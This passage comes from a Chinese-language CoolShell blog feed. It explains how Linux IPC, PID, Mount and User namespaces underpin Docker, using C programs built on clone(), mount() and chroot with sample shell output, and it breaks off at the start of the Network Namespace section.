hostname\ncontainer\nroot@container:~# uname -n\ncontainer</pre>\n<h4>IPC Namespace</h4>\n<p>IPC全称 Inter-Process Communication，是Unix/Linux下进程间通信的一种方式，IPC有共享内存、信号量、消息队列等方法。所以，为了隔离，我们也需要把IPC给隔离开来，这样，只有在同一个Namespace下的进程才能相互通信。如果你熟悉IPC的原理的话，你会知道，IPC需要有一个全局的ID，即然是全局的，那么就意味着我们的Namespace需要对这个ID隔离，不能让别的Namespace的进程看到。</p>\n<p>要启动IPC隔离，我们只需要在调用clone时加上CLONE_NEWIPC参数就可以了。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">int container_pid = clone(container_main, container_stack+STACK_SIZE, \n            CLONE_NEWUTS | CLONE_NEWIPC | SIGCHLD, NULL);</pre>\n<p>首先，我们先创建一个IPC的Queue（如下所示，全局的Queue ID是0）</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">hchen@ubuntu:~$ ipcmk -Q \nMessage queue id: 0\n\nhchen@ubuntu:~$ ipcs -q\n------ Message Queues --------\nkey        msqid      owner      perms      used-bytes   messages    \n0xd0d56eb2 0          hchen      644        0            0</pre>\n<p>如果我们运行没有CLONE_NEWIPC的程序，我们会看到，在子进程中还是能看到这个全启的IPC Queue。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">hchen@ubuntu:~$ sudo ./uts \nParent - start a container!\nContainer - inside the container!\n\nroot@container:~# ipcs -q\n\n------ Message Queues --------\nkey        msqid      owner      perms      used-bytes   messages    \n0xd0d56eb2 0          hchen      644        0            0</pre>\n<p>但是，如果我们运行加上了CLONE_NEWIPC的程序，我们就会下面的结果：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">root@ubuntu:~$ sudo./ipc\nParent - start a container!\nContainer - inside the container!\n\nroot@container:~/linux_namespace# ipcs -q\n\n------ Message Queues --------\nkey        msqid      owner      perms      used-bytes   messages</pre>\n<p>我们可以看到IPC已经被隔离了。</p>\n<h4>PID Namespace</h4>\n<p>我们继续修改上面的程序：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-highlight=\"4,16\">\nint container_main(void* arg)\n{\n    /* 查看子进程的PID，我们可以看到其输出子进程的 pid 为 1 */\n    printf(\"Container [%5d] - inside the container!\\n\", getpid());\n    sethostname(\"container\",10);\n    execv(container_args[0], container_args);\n    printf(\"Something's wrong!\\n\");\n    return 1;\n}\n\nint main()\n{\n    printf(\"Parent [%5d] - start a container!\\n\", getpid());\n    /*启用PID namespace - CLONE_NEWPID*/\n    int container_pid = clone(container_main, container_stack+STACK_SIZE, \n            CLONE_NEWUTS | CLONE_NEWPID | SIGCHLD, NULL); \n    waitpid(container_pid, NULL, 0);\n    printf(\"Parent - container stopped!\\n\");\n    return 0;\n}</pre>\n<p>运行结果如下（我们可以看到，子进程的pid是1了）：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">\nhchen@ubuntu:~$ sudo ./pid\nParent [ 3474] - start a container!\nContainer [ 1] - inside the container!\nroot@container:~# echo $$\n1</pre>\n<p>你可能会问，PID为1有个毛用啊？我们知道，在传统的UNIX系统中，PID为1的进程是init，地位非常特殊。他作为所有进程的父进程，有很多特权（比如：屏蔽信号等），另外，其还会为检查所有进程的状态，我们知道，如果某个子进程脱离了父进程（父进程没有wait它），那么init就会负责回收资源并结束这个子进程。所以，要做到进程空间的隔离，首先要创建出PID为1的进程，最好就像chroot那样，把子进程的PID在容器内变成1。</p>\n<p><strong>但是，我们会发现，在子进程的shell里输入ps,top等命令，我们还是可以看得到所有进程</strong>。说明并没有完全隔离。这是因为，像ps, top这些命令会去读/proc文件系统，所以，因为/proc文件系统在父进程和子进程都是一样的，所以这些命令显示的东西都是一样的。</p>\n<p>所以，我们还需要对文件系统进行隔离。</p>\n<h4>Mount Namespace</h4>\n<p>下面的例程中，我们在启用了mount namespace并在子进程中重新mount了/proc文件系统。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-highlight=\"6,17\">int container_main(void* arg)\n{\n    printf(\"Container [%5d] - inside the container!\\n\", getpid());\n    sethostname(\"container\",10);\n    /* 重新mount proc文件系统到 /proc下 */\n    system(\"mount -t proc proc /proc\");\n    execv(container_args[0], container_args);\n    printf(\"Something's wrong!\\n\");\n    return 1;\n}\n\nint main()\n{\n    printf(\"Parent [%5d] - start a container!\\n\", getpid());\n    /* 启用Mount Namespace - 增加CLONE_NEWNS参数 */\n    int container_pid = clone(container_main, container_stack+STACK_SIZE, \n            CLONE_NEWUTS | CLONE_NEWPID | CLONE_NEWNS | SIGCHLD, NULL);\n    waitpid(container_pid, NULL, 0);\n    printf(\"Parent - container stopped!\\n\");\n    return 0;\n}</pre>\n<p>运行结果如下：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">\nhchen@ubuntu:~$ sudo ./pid.mnt\nParent [ 3502] - start a container!\nContainer [    1] - inside the container!\nroot@container:~# ps -elf \nF S UID        PID  PPID  C PRI  NI ADDR SZ WCHAN  STIME TTY          TIME CMD\n4 S root         1     0  0  80   0 -  6917 wait   19:55 pts/2    00:00:00 /bin/bash\n0 R root        14     1  0  80   0 -  5671 -      19:56 pts/2    00:00:00 ps -elf\n</pre>\n<p>上面，我们可以看到只有两个进程 ，而且pid=1的进程是我们的/bin/bash。我们还可以看到/proc目录下也干净了很多：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">\nroot@container:~# ls /proc\n1          dma          key-users   net            sysvipc\n16         driver       kmsg        pagetypeinfo   timer_list\nacpi       execdomains  kpagecount  partitions     timer_stats\nasound     fb           kpageflags  sched_debug    tty\nbuddyinfo  filesystems  loadavg     schedstat      uptime\nbus        fs           locks       scsi           version\ncgroups    interrupts   mdstat      self           version_signature\ncmdline    iomem        meminfo     slabinfo       vmallocinfo\nconsoles   ioports      misc        softirqs       vmstat\ncpuinfo    irq          modules     stat           zoneinfo\ncrypto     kallsyms     mounts      swaps\ndevices    kcore        mpt         sys\ndiskstats  keys         mtrr        sysrq-trigger\n</pre>\n<p>下图，我们也可以看到在子进程中的top命令只看得到两个进程了。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-17020\" src=\"https://coolshell.cn/wp-content/uploads/2015/04/mount.namespace.jpg\" alt=\"\" width=\"570\" height=\"300\" srcset=\"https://coolshell.cn/wp-content/uploads/2015/04/mount.namespace.jpg 740w, https://coolshell.cn/wp-content/uploads/2015/04/mount.namespace-300x158.jpg 300w\" sizes=\"(max-width: 570px) 100vw, 570px\" /></p>\n<p>这里，多说一下。在通过CLONE_NEWNS创建mount namespace后，父进程会把自己的文件结构复制给子进程中。而子进程中新的namespace中的所有mount操作都只影响自身的文件系统，而不对外界产生任何影响。这样可以做到比较严格地隔离。</p>\n<p><!--另外，如果你熟悉mount命令，你会知道，mount命令有以下这些参数：\n\n\n<ul>\n\n\n<ol>--make-shared ： 共享方式的mount，主要是为了文件的共享和镜像。</ol>\n\n\n\n\n<ol>--make-slave ： 这种mount方式更大的意义是为了“只读”的场景，也就是从动式的mount。</ol>\n\n\n\n\n<ol>--make-private：这种mount方式主要就是为了隔离。如proc文件系统。</ol>\n\n\n\n\n<ol>--make-unbindable：标记为不可绑定。</ol>\n\n\n</ul>\n\n\n--></p>\n<p>你可能会问，我们是不是还有别的一些文件系统也需要这样mount? 是的。</p>\n<h4>Docker的 Mount Namespace</h4>\n<p>下面我将向演示一个“山寨镜像”，其模仿了Docker的Mount Namespace。</p>\n<p>首先，我们需要一个rootfs，也就是我们需要把我们要做的镜像中的那些命令什么的copy到一个rootfs的目录下，我们模仿Linux构建如下的目录：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">hchen@ubuntu:~/rootfs$ ls\nbin  dev  etc  home  lib  lib64  mnt  opt  proc  root  run  sbin  sys  tmp  usr  var</pre>\n<p>然后，我们把一些我们需要的命令copy到 rootfs/bin目录中（sh命令必需要copy进去，不然我们无法 chroot ）</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">\nhchen@ubuntu:~/rootfs$ ls ./bin ./usr/bin\n \n./bin:\nbash   chown  gzip      less  mount       netstat  rm     tabs  tee      top       tty\ncat    cp     hostname  ln    mountpoint  ping     sed    tac   test     touch     umount\nchgrp  echo   ip        ls    mv          ps       sh     tail  timeout  tr        uname\nchmod  grep   kill      more  nc          pwd      sleep  tar   toe      truncate  which\n\n./usr/bin:\nawk  env  groups  head  id  mesg  sort  strace  tail  top  uniq  vi  wc  xargs\n</pre>\n<p>注：你可以使用ldd命令把这些命令相关的那些so文件copy到对应的目录：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">\nhchen@ubuntu:~/rootfs/bin$ ldd bash\n  linux-vdso.so.1 =>  (0x00007fffd33fc000)\n  libtinfo.so.5 => /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007f4bd42c2000)\n  libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f4bd40be000)\n  libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f4bd3cf8000)\n  /lib64/ld-linux-x86-64.so.2 (0x00007f4bd4504000)\n</pre>\n<p>下面是我的rootfs中的一些so文件：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">\nhchen@ubuntu:~/rootfs$ ls ./lib64 ./lib/x86_64-linux-gnu/\n\n./lib64:\nld-linux-x86-64.so.2\n\n./lib/x86_64-linux-gnu/:\nlibacl.so.1      libmemusage.so         libnss_files-2.19.so    libpython3.4m.so.1\nlibacl.so.1.1.0  libmount.so.1          libnss_files.so.2       libpython3.4m.so.1.0\nlibattr.so.1     libmount.so.1.1.0      libnss_hesiod-2.19.so   libresolv-2.19.so\nlibblkid.so.1    libm.so.6              libnss_hesiod.so.2      libresolv.so.2\nlibc-2.19.so     libncurses.so.5        libnss_nis-2.19.so      libselinux.so.1\nlibcap.a         libncurses.so.5.9      libnss_nisplus-2.19.so  libtinfo.so.5\nlibcap.so        libncursesw.so.5       libnss_nisplus.so.2     libtinfo.so.5.9\nlibcap.so.2      libncursesw.so.5.9     libnss_nis.so.2         libutil-2.19.so\nlibcap.so.2.24   libnsl-2.19.so         libpcre.so.3            libutil.so.1\nlibc.so.6        libnsl.so.1            libprocps.so.3          libuuid.so.1\nlibdl-2.19.so    libnss_compat-2.19.so  libpthread-2.19.so      libz.so.1\nlibdl.so.2       libnss_compat.so.2     libpthread.so.0\nlibgpm.so.2      libnss_dns-2.19.so     libpython2.7.so.1\nlibm-2.19.so     libnss_dns.so.2        libpython2.7.so.1.0\n</pre>\n<p>包括这些命令依赖的一些配置文件：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">\nhchen@ubuntu:~/rootfs$ ls ./etc\nbash.bashrc  group  hostname  hosts  ld.so.cache  nsswitch.conf  passwd  profile  \nresolv.conf  shadow\n</pre>\n<p>你现在会说，我靠，有些配置我希望是在容器起动时给他设置的，而不是hard code在镜像中的。比如：/etc/hosts，/etc/hostname，还有DNS的/etc/resolv.conf文件。好的。那我们在rootfs外面，我们再创建一个conf目录，把这些文件放到这个目录中。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">hchen@ubuntu:~$ ls ./conf\nhostname     hosts     resolv.conf</pre>\n<p>这样，我们的父进程就可以动态地设置容器需要的这些文件的配置， 然后再把他们mount进容器，这样，容器的镜像中的配置就比较灵活了。</p>\n<p>好了，终于到了我们的程序。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">\n#define _GNU_SOURCE\n#include <sys/types.h>\n#include <sys/wait.h>\n#include <sys/mount.h>\n#include <stdio.h>\n#include <sched.h>\n#include <signal.h>\n#include <unistd.h>\n\n#define STACK_SIZE (1024 * 1024)\n\nstatic char container_stack[STACK_SIZE];\nchar* const container_args[] = {\n    \"/bin/bash\",\n    \"-l\",\n    NULL\n};\n\nint container_main(void* arg)\n{\n    printf(\"Container [%5d] - inside the container!\\n\", getpid());\n\n    //set hostname\n    sethostname(\"container\",10);\n\n    //remount \"/proc\" to make sure the \"top\" and \"ps\" show container's information\n    if (mount(\"proc\", \"rootfs/proc\", \"proc\", 0, NULL) !=0 ) {\n        perror(\"proc\");\n    }\n    if (mount(\"sysfs\", \"rootfs/sys\", \"sysfs\", 0, NULL)!=0) {\n        perror(\"sys\");\n    }\n    if (mount(\"none\", \"rootfs/tmp\", \"tmpfs\", 0, NULL)!=0) {\n        perror(\"tmp\");\n    }\n    if (mount(\"udev\", \"rootfs/dev\", \"devtmpfs\", 0, NULL)!=0) {\n        perror(\"dev\");\n    }\n    if (mount(\"devpts\", \"rootfs/dev/pts\", \"devpts\", 0, NULL)!=0) {\n        perror(\"dev/pts\");\n    }\n    if (mount(\"shm\", \"rootfs/dev/shm\", \"tmpfs\", 0, NULL)!=0) {\n        perror(\"dev/shm\");\n    }\n    if (mount(\"tmpfs\", \"rootfs/run\", \"tmpfs\", 0, NULL)!=0) {\n        perror(\"run\");\n    }\n    /* \n     * 模仿Docker的从外向容器里mount相关的配置文件 \n     * 你可以查看：/var/lib/docker/containers/<container_id>/目录，\n     * 你会看到docker的这些文件的。\n     */\n    if (mount(\"conf/hosts\", \"rootfs/etc/hosts\", \"none\", MS_BIND, NULL)!=0 ||\n          mount(\"conf/hostname\", \"rootfs/etc/hostname\", \"none\", MS_BIND, NULL)!=0 ||\n          mount(\"conf/resolv.conf\", \"rootfs/etc/resolv.conf\", \"none\", MS_BIND, NULL)!=0 ) {\n        perror(\"conf\");\n    }\n    /* 模仿docker run命令中的 -v, --volume=[] 参数干的事 */\n    if (mount(\"/tmp/t1\", \"rootfs/mnt\", \"none\", MS_BIND, NULL)!=0) {\n        perror(\"mnt\");\n    }\n\n    /* chroot 隔离目录 */\n    if ( chdir(\"./rootfs\") != 0 || chroot(\"./\") != 0 ){\n        perror(\"chdir/chroot\");\n    }\n\n    execv(container_args[0], container_args);\n    perror(\"exec\");\n    printf(\"Something's wrong!\\n\");\n    return 1;\n}\n\nint main()\n{\n    printf(\"Parent [%5d] - start a container!\\n\", getpid());\n    int container_pid = clone(container_main, container_stack+STACK_SIZE, \n            CLONE_NEWUTS | CLONE_NEWIPC | CLONE_NEWPID | CLONE_NEWNS | SIGCHLD, NULL);\n    waitpid(container_pid, NULL, 0);\n    printf(\"Parent - container stopped!\\n\");\n    return 0;\n}\n</pre>\n<p>sudo运行上面的程序，你会看到下面的挂载信息以及一个所谓的“镜像”：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">\nhchen@ubuntu:~$ sudo ./mount \nParent [ 4517] - start a container!\nContainer [    1] - inside the container!\nroot@container:/# mount\nproc on /proc type proc (rw,relatime)\nsysfs on /sys type sysfs (rw,relatime)\nnone on /tmp type tmpfs (rw,relatime)\nudev on /dev type devtmpfs (rw,relatime,size=493976k,nr_inodes=123494,mode=755)\ndevpts on /dev/pts type devpts (rw,relatime,mode=600,ptmxmode=000)\ntmpfs on /run type tmpfs (rw,relatime)\n/dev/disk/by-uuid/18086e3b-d805-4515-9e91-7efb2fe5c0e2 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro,data=ordered)\n/dev/disk/by-uuid/18086e3b-d805-4515-9e91-7efb2fe5c0e2 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro,data=ordered)\n/dev/disk/by-uuid/18086e3b-d805-4515-9e91-7efb2fe5c0e2 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro,data=ordered)\n\nroot@container:/# ls /bin /usr/bin\n/bin:\nbash   chmod  echo  hostname  less  more  mv   ping  rm   sleep  tail  test    top   truncate  uname\ncat    chown  grep  ip        ln    mount  nc   ps    sed  tabs   tar   timeout  touch  tty     which\nchgrp  cp     gzip  kill      ls    mountpoint  netstat  pwd   sh   tac    tee   toe    tr   umount\n\n/usr/bin:\nawk  env  groups  head  id  mesg  sort  strace  tail  top  uniq  vi  wc  xargs\n</pre>\n<p>关于如何做一个chroot的目录，这里有个工具叫<a href=\"https://wiki.ubuntu.com/DebootstrapChroot\" target=\"_blank\" rel=\"noopener noreferrer\">DebootstrapChroot</a>，你可以顺着链接去看看（英文的哦）</p>\n<p>接下来的事情，你可以自己玩了，我相信你的想像力 。：）</p>\n<p>在下一篇，我将向你介绍User Namespace、Network Namespace以及Namespace的其它东西。</p>\n<p align=\"center\"><strong> <a title=\"Docker基础技术：Linux Namespace（下）\" href=\"https://coolshell.cn/articles/17029.html\" target=\"_blank\" rel=\"noopener noreferrer\"> &lt;&lt;&lt;&lt; Docker基础技术：Linux Namespace（下）&gt;&gt;&gt;&gt; </a></strong></p>\n<p>（上篇完，<a title=\"Docker基础技术：Linux Namespace（下）\" href=\"https://coolshell.cn/articles/17029.html\" target=\"_blank\" rel=\"noopener noreferrer\">请参看下篇</a>）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17029.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/04/jail_cell-150x150.jpg\" alt=\"Docker基础技术：Linux Namespace（下）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17029.html\" class=\"wp_rp_title\">Docker基础技术：Linux Namespace（下）</a></li><li ><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png\" alt=\"记一次Kubernetes/Docker网络排障\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_title\">记一次Kubernetes/Docker网络排障</a></li><li ><a href=\"https://coolshell.cn/articles/17200.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/08/how_to_set_up_an_iSCSI_LUN_with_thin-150x150.jpg\" alt=\"Docker基础技术：DeviceMapper\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17200.html\" class=\"wp_rp_title\">Docker基础技术：DeviceMapper</a></li><li ><a href=\"https://coolshell.cn/articles/17061.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/08/docker-filesystems-busyboxrw-150x150.png\" alt=\"Docker基础技术：AUFS\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17061.html\" class=\"wp_rp_title\">Docker基础技术：AUFS</a></li><li ><a href=\"https://coolshell.cn/articles/17049.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/04/filter-150x150.png\" alt=\"Docker基础技术：Linux CGroup\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17049.html\" class=\"wp_rp_title\">Docker基础技术：Linux CGroup</a></li><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17010.html\">Docker基础技术：Linux Namespace（上）</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/17010.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>113</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Docker基础技术：Linux Namespace（下）</title>\n\t\t<link>https://coolshell.cn/articles/17029.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/17029.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 16 Apr 2015 02:19:23 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[Docker]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[Namespace]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=17029</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在 Docker基础技术：Linux Namespace（上篇）中我们了解了，UTD、IPC、PID、Mount 四个namespace，我们模仿Docker做...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/17029.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/17029.html\">Docker基础技术：Linux Namespace（下）</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-full wp-image-17084\" src=\"https://coolshell.cn/wp-content/uploads/2015/04/jail_cell.jpg\" alt=\"jail_cell\" width=\"350\" height=\"252\" srcset=\"https://coolshell.cn/wp-content/uploads/2015/04/jail_cell.jpg 350w, https://coolshell.cn/wp-content/uploads/2015/04/jail_cell-300x216.jpg 300w\" sizes=\"(max-width: 350px) 100vw, 350px\" />在 <strong><a title=\"Docker基础技术：Linux Namespace（上）\" href=\"https://coolshell.cn/articles/17010.html\" target=\"_blank\" rel=\"noopener noreferrer\">Docker基础技术：Linux Namespace（上篇）</a></strong>中我们了解了，UTD、IPC、PID、Mount 四个namespace，我们模仿Docker做了一个相当相当山寨的镜像。在这一篇中，主要想向大家介绍Linux的User和Network的Namespace。</p>\n<p>好，下面我们就介绍一下还剩下的这两个Namespace。</p>\n<h4>User Namespace</h4>\n<p>User Namespace主要是用了CLONE_NEWUSER的参数。使用了这个参数后，内部看到的UID和GID已经与外部不同了，默认显示为65534。那是因为容器找不到其真正的UID所以，设置上了最大的UID（其设置定义在/proc/sys/kernel/overflowuid）。</p>\n<p>要把容器中的uid和真实系统的uid给映射在一起，需要修改 <strong>/proc/&lt;pid&gt;/uid_map</strong> 和 <strong>/proc/&lt;pid&gt;/gid_map</strong> 这两个文件。这两个文件的格式为：</p>\n<p><code><code></code></code><strong>ID-inside-ns ID-outside-ns length</strong></p>\n<p>其中：</p>\n<p><span id=\"more-17029\"></span></p>\n<ul>\n<li>第一个字段ID-inside-ns表示在容器显示的UID或GID，</li>\n<li>第二个字段ID-outside-ns表示容器外映射的真实的UID或GID。</li>\n<li>第三个字段表示映射的范围，一般填1，表示一一对应。</li>\n</ul>\n<p>比如，把真实的uid=1000映射成容器内的uid=0</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">$ cat /proc/2465/uid_map\n         0       1000          1</pre>\n<p>再比如下面的示例：表示把namespace内部从0开始的uid映射到外部从0开始的uid，其最大范围是无符号32位整形</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">$ cat /proc/$$/uid_map\n         0          0          4294967295</pre>\n<p>另外，需要注意的是：</p>\n<ul>\n<li>写这两个文件的进程需要这个namespace中的CAP_SETUID (CAP_SETGID)权限（可参看<a href=\"http://man7.org/linux/man-pages/man7/capabilities.7.html\" target=\"_blank\" rel=\"noopener noreferrer\">Capabilities</a>）</li>\n<li>写入的进程必须是此user namespace的父或子的user namespace进程。</li>\n<li>另外需要满如下条件之一：1）父进程将effective uid/gid映射到子进程的user namespace中，2）父进程如果有CAP_SETUID/CAP_SETGID权限，那么它将可以映射到父进程中的任一uid/gid。</li>\n</ul>\n<p>这些规则看着都烦，我们来看程序吧（下面的程序有点长，但是非常简单，如果你读过《Unix网络编程》上卷，你应该可以看懂）：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">#define _GNU_SOURCE\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;sys/types.h&gt;\n#include &lt;sys/wait.h&gt;\n#include &lt;sys/mount.h&gt;\n#include &lt;sys/capability.h&gt;\n#include &lt;stdio.h&gt;\n#include &lt;sched.h&gt;\n#include &lt;signal.h&gt;\n#include &lt;unistd.h&gt;\n\n#define STACK_SIZE (1024 * 1024)\n\nstatic char container_stack[STACK_SIZE];\nchar* const container_args[] = {\n    \"/bin/bash\",\n    NULL\n};\n\nint pipefd[2];\n\nvoid set_map(char* file, int inside_id, int outside_id, int len) {\n    FILE* mapfd = fopen(file, \"w\");\n    if (NULL == mapfd) {\n        perror(\"open file error\");\n        return;\n    }\n    fprintf(mapfd, \"%d %d %d\", inside_id, outside_id, len);\n    fclose(mapfd);\n}\n\nvoid set_uid_map(pid_t pid, int inside_id, int outside_id, int len) {\n    char file[256];\n    sprintf(file, \"/proc/%d/uid_map\", pid);\n    set_map(file, inside_id, outside_id, len);\n}\n\nvoid set_gid_map(pid_t pid, int inside_id, int outside_id, int len) {\n    char file[256];\n    sprintf(file, \"/proc/%d/gid_map\", pid);\n    set_map(file, inside_id, outside_id, len);\n}\n\nint container_main(void* arg)\n{\n\n    printf(\"Container [%5d] - inside the container!\\n\", getpid());\n\n    printf(\"Container: eUID = %ld;  eGID = %ld, UID=%ld, GID=%ld\\n\",\n            (long) geteuid(), (long) getegid(), (long) getuid(), (long) getgid());\n\n    /* 等待父进程通知后再往下执行（进程间的同步） */\n    char ch;\n    close(pipefd[1]);\n    read(pipefd[0], &amp;ch, 1);\n\n    printf(\"Container [%5d] - setup hostname!\\n\", getpid());\n    //set hostname\n    sethostname(\"container\",10);\n\n    //remount \"/proc\" to make sure the \"top\" and \"ps\" show container's information\n    mount(\"proc\", \"/proc\", \"proc\", 0, NULL);\n\n    execv(container_args[0], container_args);\n    printf(\"Something's wrong!\\n\");\n    return 1;\n}\n\nint main()\n{\n    const int gid=getgid(), uid=getuid();\n\n    printf(\"Parent: eUID = %ld;  eGID = %ld, UID=%ld, GID=%ld\\n\",\n            (long) geteuid(), (long) getegid(), (long) getuid(), (long) getgid());\n\n    pipe(pipefd);\n \n    printf(\"Parent [%5d] - start a container!\\n\", getpid());\n\n    int container_pid = clone(container_main, container_stack+STACK_SIZE, \n            CLONE_NEWUTS | CLONE_NEWPID | CLONE_NEWNS | CLONE_NEWUSER | SIGCHLD, NULL);\n\n    \n    printf(\"Parent [%5d] - Container [%5d]!\\n\", getpid(), container_pid);\n\n    //To map the uid/gid, \n    //   we need edit the /proc/PID/uid_map (or /proc/PID/gid_map) in parent\n    //The file format is\n    //   ID-inside-ns   ID-outside-ns   length\n    //if no mapping, \n    //   the uid will be taken from /proc/sys/kernel/overflowuid\n    //   the gid will be taken from /proc/sys/kernel/overflowgid\n    set_uid_map(container_pid, 0, uid, 1);\n    set_gid_map(container_pid, 0, gid, 1);\n\n    printf(\"Parent [%5d] - user/group mapping done!\\n\", getpid());\n\n    /* 通知子进程 */\n    close(pipefd[1]);\n\n    waitpid(container_pid, NULL, 0);\n    printf(\"Parent - container stopped!\\n\");\n    return 0;\n}</pre>\n<p>上面的程序，我们用了一个pipe来对父子进程进行同步，为什么要这样做？因为子进程中有一个execv的系统调用，这个系统调用会把当前子进程的进程空间给全部覆盖掉，我们希望在execv之前就做好user namespace的uid/gid的映射，这样，execv运行的/bin/bash就会因为我们设置了uid为0的inside-uid而变成#号的提示符。</p>\n<p>整个程序的运行效果如下：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">hchen@ubuntu:~$ id\nuid=1000(hchen) gid=1000(hchen) groups=1000(hchen)\n\nhchen@ubuntu:~$ ./user #&lt;--以hchen用户运行\nParent: eUID = 1000;  eGID = 1000, UID=1000, GID=1000 \nParent [ 3262] - start a container!\nParent [ 3262] - Container [ 3263]!\nParent [ 3262] - user/group mapping done!\nContainer [    1] - inside the container!\nContainer: eUID = 0;  eGID = 0, UID=0, GID=0 #&lt;---Container里的UID/GID都为0了\nContainer [    1] - setup hostname!\n\nroot@container:~# id #&lt;----我们可以看到容器里的用户和命令行提示符是root用户了\nuid=0(root) gid=0(root) groups=0(root),65534(nogroup)</pre>\n<p>虽然容器里是root，但其实这个容器的/bin/bash进程是以一个普通用户hchen来运行的。这样一来，我们容器的安全性会得到提高。</p>\n<p>我们注意到，User Namespace是以普通用户运行，但是别的Namespace需要root权限，那么，如果我要同时使用多个Namespace，该怎么办呢？一般来说，我们先用一般用户创建User Namespace，然后把这个一般用户映射成root，在容器内用root来创建其它的Namesapce。</p>\n<h4>Network Namespace</h4>\n<p>Network的Namespace比较啰嗦。在Linux下，我们一般用ip命令创建Network 